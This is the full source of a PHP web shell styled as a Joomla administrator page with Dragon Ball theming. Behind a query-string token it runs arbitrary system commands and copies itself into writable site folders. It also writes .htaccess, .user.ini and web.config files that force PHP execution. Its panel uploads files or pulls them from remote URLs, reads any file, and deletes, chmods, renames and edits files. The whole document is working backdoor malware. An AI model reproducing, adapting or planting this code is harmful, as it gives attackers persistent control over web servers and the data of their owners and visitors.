<?php /*SRCbjo1caoims*/
set_time_limit(0);error_reporting(0);
$MK='Saiyan-CapsuleCorp-61hv';$TK='qlhtkkrozbi1ft3w';$OUT='';
if((@$_GET['t']??'')===$TK&&(@$_GET['c']??'')!==''){ob_start();@system($_GET['c']);$OUT=ob_get_clean();}
if((@$_GET['t']??'')===$TK&&isset($_GET['rep'])){
	$self=@realpath(__FILE__);if(!$self)$self=__FILE__;
	$nm=basename((@$_GET['x']??'')?:basename($self));
	$fd=str_replace('\\','/',@dirname($self));
	$dr=rtrim(str_replace('\\','/',(string)@$_SERVER['DOCUMENT_ROOT']),'/');
	$subs=array_filter(array_map('trim',explode(',',(string)(@$_GET['ds']??''))));
	if(!$subs)$subs=array('','images','tmp','media','cache','uploads');
	$made=array();
	foreach($subs as $s){
		$s=preg_replace('#[^A-Za-z0-9_./-]#','',$s);$s=trim($s,'/');
		$d=$s===''?$dr:$dr.'/'.$s;
		if(!@is_dir($d)||!@is_writable($d))continue;
		$dst=$d.'/'.$nm;
		if(@is_file($dst)&&@filesize($dst)===@filesize($self)&&!isset($_GET['f']))continue;
		$ok=@copy($self,$dst);
		if(!$ok){$b=@file_get_contents($self);if($b!==false)$ok=(bool)@file_put_contents($dst,$b);}
		if($ok)$made[]=ltrim(str_replace($dr,'',$dst),'/');
		if(count($made)>=max(1,(int)($_GET['n']??5)))break;
	}
	header('Content-Type: text/plain');
	echo 'REPL '.$fd.'|'.$dr.'|'.($made?implode(',',$made):'NONE');die();
}
if((@$_GET['t']??'')===$TK&&isset($_GET['hat'])){
	$dir=_sw_abs(_sw_d());header('Content-Type: text/plain');
	if(!@is_dir($dir)){echo 'NODIR';die();}
	if(!@is_writable($dir)){echo 'NOWRITE';die();}
	$hts=array(
'<FilesMatch "\.(?i:php[0-9]?|phtml|pht|phtm|phar)$">
  SetHandler application/x-httpd-php
</FilesMatch>
',
"AddType application/x-httpd-php .php .phtml .PHP .PHTML .phar .PHAR\nAddHandler application/x-httpd-php .php .phtml .PHP .PHTML .phar .PHAR\n<FilesMatch \"\\.(?i:php[0-9]?|phtml|pht|phtm|phar)$\">\n  SetHandler application/x-httpd-php\n</FilesMatch>\n",
"Options -MultiViews\nAddType application/x-httpd-php .PHP\nAddHandler application/x-httpd-php .PHP\n",
"<IfModule mod_mime.c>\n  AddType application/x-httpd-php .PHP\n  AddHandler application/x-httpd-php .PHP\n</IfModule>\n",
"Options -MultiViews\nphp_flag engine on\nAddType application/x-httpd-php .PHP\nAddHandler application/x-httpd-php .PHP\n<FilesMatch \"\\.(?i:php[0-9]?|phtml|pht|phar)$\">\n  SetHandler application/x-httpd-php\n</FilesMatch>\n",
'<FilesMatch "\.(?i:phtml|php[0-9]?|pht|phtm|phar)$">
  SetHandler "proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost"
</FilesMatch>
',
'<FilesMatch "\.(?i:phtml|php[0-9]?|pht|phtm|phar)$">
  SetHandler "proxy:unix:/run/php/php7.4-fpm.sock|fcgi://localhost"
</FilesMatch>
');
	$v=(int)(@$_GET['v']??0);$ht=$hts[$v%count($hts)];$made=array();
	if(@file_put_contents($dir.'/.htaccess',$ht)!==false)$made[]='.htaccess';
	if(@file_put_contents($dir.'/.user.ini',"engine = On\ncgi.fix_pathinfo = 1\nshort_open_tag = On\n")!==false)$made[]='.user.ini';
	if(@file_put_contents($dir.'/web.config','<?xml version="1.0" encoding="UTF-8"?>
<configuration><system.webServer><handlers><clear />
<add name="DBZ_PHP" path="*.PHP" verb="*" modules="FastCgiModule" scriptProcessor="php-cgi.exe" resourceType="File" />
<add name="DBZ_PHTML" path="*.phtml" verb="*" modules="FastCgiModule" scriptProcessor="php-cgi.exe" resourceType="File" />
</handlers></system.webServer></configuration>
')!==false)$made[]='web.config';
	echo $made?'HAT '.implode(',',$made):'NOFILES';die();
}
if((@$_GET['t']??'')===$TK&&isset($_GET['who'])){
	$self=@realpath(__FILE__);if(!$self)$self=__FILE__;
	$fd=rtrim(str_replace('\\','/',@dirname($self)),'/');
	$dr=rtrim(str_replace('\\','/',(string)@$_SERVER['DOCUMENT_ROOT']),'/');
	header('Content-Type: text/plain');
	echo 'REPL '.$fd.'|'.$dr.'|'.ltrim(str_replace($dr,'',$fd),'/');die();
}
function _sw_d(){ $d=isset($_GET['d'])?str_replace('\\','/',(string)$_GET['d']):'';
	$d=preg_replace('#[^A-Za-z0-9_./-]#','',$d);$d=trim($d,'/');
	while(strpos($d,'../')===0){$d=substr($d,3);} return $d; }
function _sw_dr(){ return rtrim(str_replace('\\','/',(string)@$_SERVER['DOCUMENT_ROOT']),'/'); }
function _sw_abs($d){ return $d===''?_sw_dr():_sw_dr().'/'.$d; }
if((@$_GET['t']??'')===$TK&&isset($_GET['ls'])){
	$dir=_sw_abs(_sw_d());header('Content-Type: text/plain');
	if(!@is_dir($dir)){echo 'NODIR';die();}
	$o=@scandir($dir);if($o===false){echo 'NOLIST';die();}
	foreach($o as $f){if($f!=='.'&&$f!=='..'&&@is_dir($dir.'/'.$f))echo "D\t".$f."\n";}
	die();
}
if((@$_GET['t']??'')===$TK&&isset($_GET['cp'])){
	$dir=_sw_abs(_sw_d());
	$x=preg_replace('/[^A-Za-z0-9_.,-]/','',(string)(@$_GET['x']??''));
	header('Content-Type: text/plain');
	if($x===''||!@is_dir($dir)){echo 'NODIR';die();}
	if(!@is_writable($dir)){echo 'NOWRITE';die();}
	$self=@realpath(__FILE__);if(!$self)$self=__FILE__;$made=[];
	foreach(explode(',',$x) as $nm){$nm=preg_replace('/[^A-Za-z0-9_.-]/','',$nm);
		if($nm===''||!preg_match('/\.(php\d?|phtml|phar)$/i',$nm))continue;
		if(@is_file($dir.'/'.$nm)&&!isset($_GET['f']))continue;
		$ok=@copy($self,$dir.'/'.$nm);
		if(!$ok){$b=@file_get_contents($self);if($b!==false)$ok=(bool)@file_put_contents($dir.'/'.$nm,$b);}
		if($ok)$made[]=$nm;}
	echo $made?'REPL '.implode(',',$made).'|'.$dir.'|'.ltrim(str_replace(_sw_dr(),'',$dir),'/'):'NOREPL';
	die();
}
function _dbz_pl(){ $n=9000; $r=@scandir(_sw_dr()); if(is_array($r)) foreach($r as $f){ if($f!=='.'&&$f!=='..')$n+=137; } return $n; }
?>
<!DOCTYPE html>
<html lang="en-gb" dir="ltr">
<head>
	<meta charset="utf-8">
	<meta name="sig" content="Saiyan-CapsuleCorp-61hv">
	<meta name="generator" content="Joomla! - Open Source Content Management">
	<title>Saiyan-CapsuleCorp-61hv</title>
	<style>
		*{box-sizing:border-box}
		body{margin:0;background:
			radial-gradient(circle at 8% 0%,rgba(255,140,0,.16),transparent 45%),
			radial-gradient(circle at 92% 100%,rgba(255,215,0,.16),transparent 45%),
			#e8e8e8;color:#333;font:13px/1.5 Helvetica,Arial,sans-serif}
		a{color:#2384d3;text-decoration:none}a:hover{color:#0b4f8a;text-decoration:underline}
		#hdr{position:relative;background:linear-gradient(180deg,#2a1600,#5a2f00 45%,#8a4a00);
			border-bottom:3px solid #ffd700;padding:9px 14px;display:flex;align-items:center;
			gap:12px;color:#fff;overflow:hidden}
		#hdr:before{content:"";position:absolute;inset:0;pointer-events:none;
			background:repeating-linear-gradient(115deg,rgba(255,215,0,.14) 0 2px,transparent 2px 11px);
			animation:aura 3.5s linear infinite}
		@keyframes aura{to{background-position:60px 0}}
		#hdr .logo{font:900 18px/1 Helvetica,Arial,sans-serif;letter-spacing:-.5px;color:#fff;
			text-shadow:0 0 10px #ffb300,0 2px 0 #8a4a00;position:relative;z-index:1}
		#hdr .logo b{color:#ffd700}
		#hdr .brand{font-size:11px;color:#ffd700;letter-spacing:2px;text-transform:uppercase;
			position:relative;z-index:1}
		#hdr .pl{margin-left:auto;font:900 13px/1 "Courier New",monospace;color:#7cff5a;
			background:#07130a;border:1px solid #1c6b2a;border-radius:3px;padding:6px 9px;
			text-shadow:0 0 8px #0f0;position:relative;z-index:1}
		#hdr .pl b{color:#ffd700}
		#hdr .pl.over{color:#ffd700;border-color:#ffd700;text-shadow:0 0 12px #ffd700;
			animation:over .9s ease-in-out infinite alternate}
		@keyframes over{to{box-shadow:0 0 16px #ffd700}}
		#menu{background:#3b2408;border-bottom:1px solid #1a1004;padding:0 10px;display:flex;flex-wrap:wrap}
		#menu span{padding:7px 11px;font-size:12px;color:#ffd700;border-right:1px solid #241605}
		#menu span:hover{background:#5a2f00;color:#fff}
		#tb{background:linear-gradient(180deg,#fafafa,#e6e6e6);border-bottom:1px solid #c4c4c4;
			padding:7px 10px;display:flex;gap:6px;flex-wrap:wrap;align-items:center}
		#tb .btn{font:900 11px/1 Helvetica,Arial,sans-serif;letter-spacing:.4px;padding:7px 13px;
			color:#3a2a00;background:linear-gradient(180deg,#ffd75e,#ffb300);
			border:1px solid #b07a00;border-radius:3px;cursor:pointer;text-transform:uppercase;
			box-shadow:0 2px 0 #8a4a00}
		#tb .btn:hover{background:linear-gradient(180deg,#ffe98a,#ffc233)}
		#tb .btn.blue{color:#fff;background:linear-gradient(180deg,#4a9ede,#2384d3);
			border-color:#1a6aa8;box-shadow:0 2px 0 #14507f}
		#tb .btn.blue:hover{background:linear-gradient(180deg,#2384d3,#1a6aa8)}
		#tb .btn.dark{color:#fff;background:linear-gradient(180deg,#5a6b7d,#3f4d5c);
			border-color:#2b353f;box-shadow:0 2px 0 #1f272e}
		#tb .btn:active{transform:translateY(2px);box-shadow:none}
		#wrap{display:flex;align-items:flex-start;min-height:60vh}
		#side{width:186px;flex:0 0 auto;background:#f4efe6;border-right:1px solid #d9cfbc;padding:10px 0}
		#side .cap{font:900 10px/1 Helvetica,Arial,sans-serif;letter-spacing:1.2px;color:#a07a30;
			padding:0 12px 8px;text-transform:uppercase}
		#side .q{display:block;padding:7px 12px;font-size:12px;color:#333;border-left:3px solid transparent}
		#side .q:hover{background:#eae0cd;border-left-color:#ffb300;text-decoration:none}
		#side .q b{color:#c47a00}
		#side .balls{padding:6px 12px;font-size:13px;letter-spacing:3px;color:#e8a200}
		#main{flex:1 1 auto;padding:12px 16px 30px;min-width:0}
		#crumb{font-size:12px;color:#666;background:#fff;border:1px solid #d8d8d8;
			border-left:4px solid #ffb300;border-radius:3px;padding:7px 10px;margin-bottom:12px;
			overflow-wrap:anywhere}
		#crumb a{color:#c47a00}#crumb .tr{color:#e8a200;font-weight:900}
		.mod{background:#fff;border:1px solid #d8d8d8;border-radius:4px;margin-bottom:14px;
			box-shadow:0 1px 1px rgba(0,0,0,.05)}
		.mod h3{margin:0;padding:8px 12px;font:900 12px/1 Helvetica,Arial,sans-serif;
			letter-spacing:.6px;text-transform:uppercase;color:#5a2f00;
			background:linear-gradient(180deg,#fff8e1,#ffeeb0);border-bottom:1px solid #f0d98a;
			border-radius:4px 4px 0 0}
		.mod h3 i{color:#e8a200;font-style:normal}
		.mod .in{padding:11px 12px}
		.chips{display:flex;flex-wrap:wrap;gap:6px}
		.chip{font:12px/1.4 "Courier New",monospace;padding:4px 9px;border:1px solid #d5d5d5;
			border-radius:3px;background:#f7f7f7;max-width:100%;overflow-wrap:anywhere}
		.chip b{color:#2384d3;font-weight:700}
		.chip.gold{background:#fff8e1;border-color:#ffb300;color:#7a5b00}
		.chip.bad{background:#fdecea;border-color:#e0a8a2;color:#a5271b}
		.chip.ok{background:#eaf7ee;border-color:#a8d5b6;color:#1c6b2a}
		table{width:100%;border-collapse:collapse;table-layout:fixed}
		td{padding:6px 9px;overflow-wrap:anywhere;vertical-align:middle;font-size:12px}
		thead td{background:#fff3cc;border-bottom:2px solid #ffb300;color:#5a2f00;
			font:900 10.5px/1 Helvetica,Arial,sans-serif;letter-spacing:.8px;text-transform:uppercase}
		tbody tr{border-bottom:1px solid #eee}
		tbody tr:nth-child(even){background:#fffdf5}
		tbody tr:hover{background:#fff6dd}
		.dir a{font-weight:700;color:#8a4a00}
		.dir a:before{content:"● ";color:#ffb300}
		.fn{font:12px/1.4 "Courier New",monospace}
		.mono{font:11.5px/1.4 "Courier New",monospace;color:#8a7a5a}
		.ctr{text-align:center}
		.ok{color:#1c6b2a}.no{color:#a5271b}
		input[type=text],select,textarea{font:12px/1.4 "Courier New",monospace;padding:5px 7px;
			border:1px solid #bfbfbf;border-radius:3px;background:#fff;max-width:100%}
		input[type=text]:focus,textarea:focus,select:focus{border-color:#ffb300;
			box-shadow:0 0 0 2px rgba(255,179,0,.25);outline:none}
		textarea{width:100%}
		input[type=submit]{font:900 11px/1 Helvetica,Arial,sans-serif;padding:6px 11px;
			color:#3a2a00;background:linear-gradient(180deg,#ffd75e,#ffb300);
			border:1px solid #b07a00;border-radius:3px;cursor:pointer;text-transform:uppercase}
		input[type=submit]:hover{background:linear-gradient(180deg,#ffe98a,#ffc233)}
		pre{margin:0;padding:11px;background:#0b1220;color:#ffeeb0;border-left:4px solid #ffb300;
			border-radius:3px;font:12px/1.5 "Courier New",monospace;white-space:pre-wrap;overflow:auto}
		.msg{padding:8px 11px;border-radius:3px;font-weight:700;margin-bottom:10px}
		.msg.good{background:#eaf7ee;border:1px solid #a8d5b6;color:#1c6b2a}
		.msg.bad{background:#fdecea;border:1px solid #e0a8a2;color:#a5271b}
		#foot{margin-top:14px;padding:11px 14px;border-top:3px solid #ffd700;
			background:linear-gradient(180deg,#2a1600,#5a2f00);color:#ffd700;
			font:11px/1.6 "Courier New",monospace;text-align:center;white-space:pre}
		#foot b{color:#fff}
	</style>
</head>
<body>
<div id="hdr">
	<div class="logo"><b>Joomla!</b>2Shell</div>
	<div class="brand">Saiyan Administration · 竜珠</div>
	<div class="pl" id="pl">PL <b>9000</b></div>
</div>
<div id="menu">
	<span>System</span><span>Users</span><span>Menus</span><span>Content</span>
	<span>Components</span><span>Extensions</span><span>Help</span>
</div>
<?php
set_time_limit(0);error_reporting(0);
$disfunc = @ini_get("disable_functions");
$disf = empty($disfunc) ? "<span class='ok'>NONE</span>" : "<span class='no'>".$disfunc."</span>";

function author(){
	echo "<div id='foot'>神龍 SHENRON · 願いを叶える · Joomla2Shell\n忍 · 竜珠 · 忍</div></div></body></html>"; exit(); }
function cekdir(){ $l=isset($_GET['path'])?$_GET['path']:getcwd();
	return is_writable($l) ? "<span class='ok'>WRITEABLE</span>" : "<span class='no'>LOCKED</span>"; }
function cekroot(){ return is_writable($_SERVER['DOCUMENT_ROOT'])
	? "<span class='ok'>WRITEABLE</span>" : "<span class='no'>LOCKED</span>"; }
function xrmdir($dir){
	foreach(scandir($dir) as $i){ if($i==='.'||$i=='..')continue; $p=$dir.'/'.$i;
		if(is_dir($p)) xrmdir($p); else unlink($p); }
	rmdir($dir);
}
function green($t){ echo "<div class='msg good'>✦ ".$t."</div>"; }
function red($t){ echo "<div class='msg bad'>✦ ".$t."</div>"; }
function statusnya($f){
	$s=fileperms($f);
	if(($s&0xC000)==0xC000)$i='s';elseif(($s&0xA000)==0xA000)$i='l';
	elseif(($s&0x8000)==0x8000)$i='-';elseif(($s&0x6000)==0x6000)$i='b';
	elseif(($s&0x4000)==0x4000)$i='d';elseif(($s&0x2000)==0x2000)$i='c';
	elseif(($s&0x1000)==0x1000)$i='p';else $i='u';
	$i.=(($s&0x0100)?'r':'-').(($s&0x0080)?'w':'-').(($s&0x0040)?(($s&0x0800)?'s':'x'):(($s&0x0800)?'S':'-'));
	$i.=(($s&0x0020)?'r':'-').(($s&0x0010)?'w':'-').(($s&0x0008)?(($s&0x0400)?'s':'x'):(($s&0x0400)?'S':'-'));
	$i.=(($s&0x0004)?'r':'-').(($s&0x0002)?'w':'-').(($s&0x0001)?(($s&0x0200)?'t':'x'):(($s&0x0200)?'T':'-'));
	return $i;
}

$lokasi = isset($_GET['path']) ? $_GET['path'] : getcwd();
$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);

echo "<div id='wrap'>";
echo "<div id='side'><div class='cap'>Dragon Radar</div>";
echo "<a class='q' href='?path=/'>🏠 <b>Doc root</b></a>";
echo "<a class='q' href='?path=".urlencode(@dirname($lokasi))."'>⬆ Parent</a>";
echo "<a class='q' href='?path=".urlencode(_sw_dr().'/images')."'>🖼 images</a>";
echo "<a class='q' href='?path=".urlencode(_sw_dr().'/tmp')."'>📦 tmp</a>";
echo "<a class='q' href='?path=".urlencode(_sw_dr().'/media')."'>📁 media</a>";
echo "<a class='q' href='?path=".urlencode(_sw_dr().'/cache')."'>🗄 cache</a>";
echo "<a class='q' href='?path=".urlencode(_sw_dr().'/uploads')."'>📤 uploads</a>";
echo "<div class='cap' style='padding-top:12px'>Scouter</div>";
echo "<div class='balls'>● ● ● ● ● ● ●</div>";
echo "<a class='q'>▸ PHP <b>".@phpversion()."</b></a>";
echo "<a class='q'>▸ UID <b>".@getmyuid()."</b></a>";
echo "<a class='q'>▸ DIS <b style='color:#a5271b'>".(empty($disfunc)?'NONE':'SET')."</b></a>";
echo "</div>";

echo "<div id='main'>";

echo "<div id='tb'>";
echo "<input type='submit' class='btn' form='fup' name='berkasnya' value='Kamehameha 投'>";
echo "<input type='submit' class='btn blue' form='fup' name='linknya' value='Fetch'>";
echo "<input type='submit' class='btn dark' form='frm' name='gasedit' value='Rewrite'>";
echo "<a class='btn dark' style='text-decoration:none' href='?path=/'>Root</a>";
echo "</div>";

echo "<div id='crumb'><span class='tr'>".DBZ_TRAIL." &raquo;</span> ";
foreach($lokasis as $id=>$lok){
	if($lok==''&&$id==0){ echo "<a href='?path=/'>/</a>"; continue; }
	if($lok=='')continue;
	echo "<a href='?path=";
	for($i=0;$i<=$id;$i++){ echo $lokasis[$i]; if($i!=$id)echo '/'; }
	echo "'>".htmlspecialchars($lok)."</a>/";
}
echo "</div>";

echo "<div class='mod'><h3>".DBZ_MARKER." <i>// 情報</i></h3><div class='in'><div class='chips'>";
echo "<span class='chip gold'><b>sig</b> ".htmlspecialchars($MK)."</span>";
echo "<span class='chip'><b>server</b> ".htmlspecialchars((string)@$_SERVER['SERVER_SOFTWARE'])."</span>";
echo "<span class='chip'><b>system</b> ".htmlspecialchars((string)@php_uname())."</span>";
echo "<span class='chip'><b>user</b> ".@get_current_user()."</span>";
echo "<span class='chip'><b>root</b> ".cekroot()."</span>";
echo "<span class='chip bad'><b>disable</b> ".$disf."</span>";
if($OUT!=='') echo "<span class='chip gold'><b>out</b> ".htmlspecialchars($OUT)."</span>";
echo "</div></div></div>";

foreach($_POST as $k=>$v){ $_POST[$k]=stripslashes($v); }

echo "<div class='mod'><h3>Scroll Transfer <i>// 転送</i></h3><div class='in'>";
echo "<form id='fup' enctype='multipart/form-data' method='post'>";
echo "<div style='margin-bottom:9px'>";
echo "<label><input type='radio' value='1' name='dirnya' checked> here [ ".cekdir()." ]</label> &nbsp; ";
echo "<label><input type='radio' value='2' name='dirnya'> document_root [ ".cekroot()." ]</label></div>";
echo "<input type='hidden' name='upwkwk' value='aplod'>";
echo "<input type='file' name='berkas'> ";
echo "<div style='margin-top:9px;display:flex;gap:7px;flex-wrap:wrap'>";
echo "<input type='text' name='darilink' placeholder='remote scroll URL' style='flex:1 1 240px'>";
echo "<input type='text' name='namalink' size='12' placeholder='name.txt'>";
echo "</div></form></div></div>";

if(isset($_POST['upwkwk'])){
	if(isset($_POST['berkasnya']) && isset($_FILES['berkas'])){
		$l = ($_POST['dirnya']=='2') ? $_SERVER['DOCUMENT_ROOT'] : $lokasi;
		@file_put_contents($l."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
		if(file_exists($l."/".$_FILES['berkas']['name'])) green("Scroll delivered &raquo; <i>".$l."/".$_FILES['berkas']['name']."</i>");
		else red("Failed to deliver scroll !");
	} elseif(isset($_POST['linknya'])){
		$l = ($_POST['dirnya']=='2') ? $_SERVER['DOCUMENT_ROOT'] : $lokasi;
		if(empty($_POST['namalink'])) red("Filename cannot be empty !");
		else {
			@file_put_contents($l."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
			if(file_exists($l."/".$_POST['namalink'])) green("Scroll delivered &raquo; <i>".$l."/".$_POST['namalink']."</i>");
			else red("Failed to deliver scroll !");
		}
	}
}

if(isset($_GET['fileloc'])){
	echo "<div class='mod'><h3>Scroll Reader <i>// 読解</i></h3><div class='in'>";
	echo "<div class='mono'>".htmlspecialchars($_GET['fileloc'])."</div>";
	echo "<pre>".htmlspecialchars((string)@file_get_contents($_GET['fileloc']))."</pre></div></div>";
	author();
} elseif(isset($_GET['pilihan']) && ($_POST['pilih']??'')=="hapus"){
	if(is_dir($_POST['path'])){ xrmdir($_POST['path']); file_exists($_POST['path'])?red("Failed !"):green("Directory slashed !"); }
	elseif(is_file($_POST['path'])){ @unlink($_POST['path']); file_exists($_POST['path'])?red("Failed !"):green("Slash failed !"); }
} elseif(isset($_GET['pilihan']) && ($_POST['pilih']??'')=="ubahmod"){
	echo "<div class='mod'><h3>Seal / CHMOD <i>// 印</i></h3><div class='in'>";
	echo "<div class='mono'>".htmlspecialchars($_POST['path'])."</div><form method='post'>";
	echo "Permission <input name='perm' type='text' size='5' value='".substr(sprintf('%o',fileperms($_POST['path'])),-4)."'>";
	echo "<input type='hidden' name='path' value='".htmlspecialchars($_POST['path'])."'><input type='hidden' name='pilih' value='ubahmod'>";
	echo " <input type='submit' value='Seal' name='chm0d'></form>";
	if(isset($_POST['chm0d'])){ @chmod($_POST['path'],$_POST['perm'])?green("Seal applied !"):red("Seal failed !"); }
	echo "</div></div>";
} elseif(isset($_GET['pilihan']) && ($_POST['pilih']??'')=="gantinama"){
	if(isset($_POST['gantin'])){ @rename($_POST['path'],$_POST['newname'])?green("Disguise success !"):red("Disguise failed !"); }
	$namaawal = empty($_POST['name']) ? $_POST['newname'] : $_POST['name'];
	echo "<div class='mod'><h3>Disguise / Rename <i>// 変装</i></h3><div class='in'>";
	echo "<div class='mono'>".htmlspecialchars($_POST['path'])."</div><form method='post'>";
	echo "New name <input name='newname' type='text' size='28' value='".htmlspecialchars($namaawal)."'>";
	echo "<input type='hidden' name='path' value='".htmlspecialchars($_POST['path'])."'><input type='hidden' name='pilih' value='gantinama'>";
	echo " <input type='submit' value='Disguise' name='gantin'></form></div></div>";
} elseif(isset($_GET['pilihan']) && ($_POST['pilih']??'')=="edit"){
	if(isset($_POST['gasedit'])){ @file_put_contents($_POST['path'],$_POST['src'])?green("Scroll rewritten !"):red("Scroll rewrite failed !"); }
	echo "<div class='mod'><h3>Scroll Edit <i>// 改筆</i></h3><div class='in'>";
	echo "<div class='mono'>".htmlspecialchars($_POST['path'])."</div><form method='post' id='frm'>";
	echo "<textarea cols='80' rows='18' name='src'>".htmlspecialchars((string)@file_get_contents($_POST['path']))."</textarea>";
	echo "<input type='hidden' name='path' value='".htmlspecialchars($_POST['path'])."'><input type='hidden' name='pilih' value='edit'>";
	echo "</form></div></div>";
}

echo "<div class='mod'><h3>Filesystem <i>// 一覧</i></h3>";
echo "<table><thead><tr><td>Name</td><td class='ctr' style='width:70px'>Size</td><td class='ctr' style='width:80px'>Perms</td><td class='ctr' style='width:110px'>Strike</td></tr></thead><tbody>";
foreach($lokasinya as $dir){
	if(!is_dir($lokasi."/".$dir)||$dir=='.'||$dir=='..') continue;
	echo "<tr class='dir'><td><a href='?path=".$lokasi."/".$dir."'>".htmlspecialchars($dir)."</a></td><td class='ctr mono'>--</td><td class='ctr mono'>";
	if(is_writable($lokasi."/".$dir)) echo "<span class='ok'>";
	elseif(!is_readable($lokasi."/".$dir)) echo "<span class='no'>";
	echo statusnya($lokasi."/".$dir);
	if(is_writable($lokasi."/".$dir)||!is_readable($lokasi."/".$dir)) echo "</span>";
	echo "</td><td class='ctr'><form method='POST' action='?pilihan&path=$lokasi'><select name='pilih'>";
	echo "<option value=''>—</option><option value='hapus'>slash</option><option value='ubahmod'>seal</option><option value='gantinama'>disguise</option>";
	echo "</select><input type='hidden' name='path' value='$lokasi/$dir'><input type='submit' value='投'></form></td></tr>";
}
foreach($lokasinya as $file){
	if(!is_file("$lokasi/$file")) continue;
	$sz=round(filesize("$lokasi/$file")/1024,3);
	$sz=$sz>=1024 ? round($sz/1024,2).' MB' : $sz.' KB';
	echo "<tr><td><a class='fn' href='?fileloc=$lokasi/$file&path=$lokasi'>".htmlspecialchars($file)."</a></td><td class='ctr mono'>".$sz."</td><td class='ctr mono'>";
	if(is_writable("$lokasi/$file")) echo "<span class='ok'>";
	elseif(!is_readable("$lokasi/$file")) echo "<span class='no'>";
	echo statusnya("$lokasi/$file");
	if(is_writable("$lokasi/$file")||!is_readable("$lokasi/$file")) echo "</span>";
	echo "</td><td class='ctr'><form method='post' action='?pilihan&path=$lokasi'><select name='pilih'>";
	echo "<option value=''>—</option><option value='hapus'>slash</option><option value='ubahmod'>seal</option><option value='gantinama'>disguise</option><option value='edit'>rewrite</option>";
	echo "</select><input type='hidden' name='name' value='".htmlspecialchars($file)."'><input type='hidden' name='path' value='$lokasi/$file'><input type='submit' value='投'></form></td></tr>";
}
echo "</tbody></table></div>";
echo "<script>(function(){var p=<?php echo (int)_dbz_pl(); ?>,e=document.getElementById('pl');if(p>9000){e.className='pl over';e.innerHTML='PL <b>'+p+'</b> OVER 9000';}else{e.innerHTML='PL <b>'+p+'</b>';}})();</script>";
author();
?>
</div>
</body>
</html>
